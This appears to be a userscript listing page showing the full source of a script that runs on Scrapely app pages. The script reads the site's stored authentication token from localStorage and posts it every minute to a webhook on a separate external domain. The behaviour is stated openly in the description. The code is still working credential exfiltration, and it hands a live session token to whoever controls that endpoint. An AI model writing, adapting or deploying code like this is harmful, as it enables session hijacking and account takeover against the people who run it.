Automatically sends authentication token to webhook every minute
Size
2.3 KB
Version
1.1.1
Created
Feb 2, 2026
Updated
2 days ago
1// ==UserScript==
2// @name Scrapely Auth Token Auto-Sender
3// @description Automatically sends authentication token to webhook every minute
4// @version 1.1.1
5// @match https://*.app.scrapely.co/*
6// ==/UserScript==
7(function() {
8 'use strict';
9
10 const WEBHOOK_URL = 'https://app.twitterdm.com/api/webhooks/scrapely-auth';
11 const TOKEN_KEY = 'sb-xngmewetpvyrsitsphyf-auth-token';
12 const INTERVAL_MS = 60000; // 1 minute
13 let intervalId = null;
14
15 async function sendTokenToWebhook() {
16 try {
17 const authToken = localStorage.getItem(TOKEN_KEY);
18
19 if (!authToken) {
20 console.error('Auth token not found in local storage with key:', TOKEN_KEY);
21 return;
22 }
23
24 console.log('Sending auth token to webhook...');
25
26 const response = await GM.xmlhttpRequest({
27 method: 'POST',
28 url: WEBHOOK_URL,
29 headers: {
30 'Content-Type': 'application/json'
31 },
32 data: JSON.stringify({
33 token: authToken,
34 timestamp: new Date().toISOString()
35 })
36 });
37
38 if (response.status >= 200 && response.status < 300) {
39 console.log('✓ Auth token sent successfully to webhook at', new Date().toLocaleTimeString());
40 } else {
41 console.error('Failed to send auth token. Status:', response.status, 'Response:', response.responseText);
42 }
43
44 } catch (error) {
45 console.error('Error sending auth token to webhook:', error);
46 }
47 }
48
49 function startAutoSend() {
50 console.log('Scrapely Auth Token Auto-Sender initialized');
51 console.log('Will send auth token every 1 minute to:', WEBHOOK_URL);
52
53 // Send immediately on start
54 sendTokenToWebhook();
55
56 // Then send every minute
57 intervalId = setInterval(sendTokenToWebhook, INTERVAL_MS);
58
59 console.log('Auto-send started. Token will be sent every 60 seconds.');
60 }
61
62 function init() {
63 startAutoSend();
64 }
65
66 // Wait for body to be ready
67 if (document.body) {
68 init();
69 } else {
70 document.addEventListener('DOMContentLoaded', init);
71 }
72})();